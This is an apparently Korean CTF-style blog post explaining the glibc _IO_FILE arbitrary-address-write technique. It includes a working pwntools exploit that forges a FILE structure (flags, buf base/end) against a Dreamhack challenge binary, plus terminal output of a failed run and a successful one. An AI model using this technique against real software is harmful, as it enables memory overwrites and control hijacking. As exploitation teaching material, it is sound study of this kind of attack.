728x90
반응형
원리
큰 틀은 _IO_FILE Arbitrary Address Read와 동일하다.
https://wyv3rn.tistory.com/110
취약점
마찬가지로 read와 동일하지만, _flags 값과 구조체에 들어가는 데이터가 조금 다르다.
Read 함수
함수 인자
read 함수의 구조는 아래와 같다.
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
각 인자의 주요점은 아래와 같다.
f->_fileno : 읽어 들일 방식. 보통 표준 입력하면 되기에 0을 사용.
IO_buf_base : 입력을 시작할 주소
IO_buf_end : 입력을 종료할 주소
_flags 변수
flags 변수 값은 0xfbad2488이 일반적이다.
이는
_IO_IS_FILEBUF
_IO_TIED_PUT_GET
_IO_LINKED
_IO_NO_WRITES
의 권한을 말한다.
_IO_buf_end
특이사항으로 _IO_buf_end 값을 buffer보다 큰 값을 더해 조작해야 한다.
즉 buffer size가 100 byte라면 _IO_buf_end > _IO_buf_base + 100 이어야 한다는 것이다.
그 이유는 _IO_new_file_underflow 코드에서 end - base 값이 함수의 인자로 전달된 읽을 크기보다 커야 하는 조건이 있기 때문이다.
삽입 값
추가 특이사항으로 삽입할 값 전달 시 end - base 값과 유사해야 한다.
이유는 확실히 알 수 없지만, 해당 buffer를 거의 가득 채웠을 때만 작동하는 것을 확인하였다.
예를 들면 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',8537)
#p = process('./iofile_aaw')
e = ELF('./iofile_aaw')
addr = e.symbols['overwrite_me']
pay = b''
pay += p64(0xfbad2488) #flags
pay += p64(0) #read ptr
pay += p64(0) #read end
pay += p64(0) #read base
pay += p64(0) #write base
pay += p64(0) #write ptr
pay += p64(0) #write end
pay += p64(addr) #buf base
pay += p64(addr+1024) #buf end
pay += p64(0) #save base
pay += p64(0) #backup base
pay += p64(0) #save end
pay += p64(0) #marker
pay += p64(0) #chain
pay += p64(0) #fileno
p.sendlineafter('Data: ',pay)
payload = p64(0xdeadbeef) + b'\x00'*(1024-10)
print(len(payload))
p.sendline(payload)
p.interactive()
payload 길이가 1021 byte 일 때 실패
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 8537: Done
[*] '/home/kali/Downloads/iofile_aaw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
1021
[*] Switching to interactive mode
$
ᆳ\[*] Got EOF while reading in interactive
payload 길이가 1022 byte 일 때 성공
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 8537: Done
[*] '/home/kali/Downloads/iofile_aaw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
1022
[*] Switching to interactive mode
ᆳ\xdeDH{----------#플래그는 삭제}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$
이유는 정확히 알 수 없다;
728x90
반응형
'Tips & theory' 카테고리의 다른 글
FSOP - _IO_flush_all_lockp () (0) | 2022.08.18 |
---|---|
Bypass IO_validate_vtable (0) | 2022.08.17 |
_IO_FILE Arbitrary Address Read (0) | 2022.08.16 |
SROP (0) | 2022.08.15 |
rtld_global (0) | 2022.08.15 |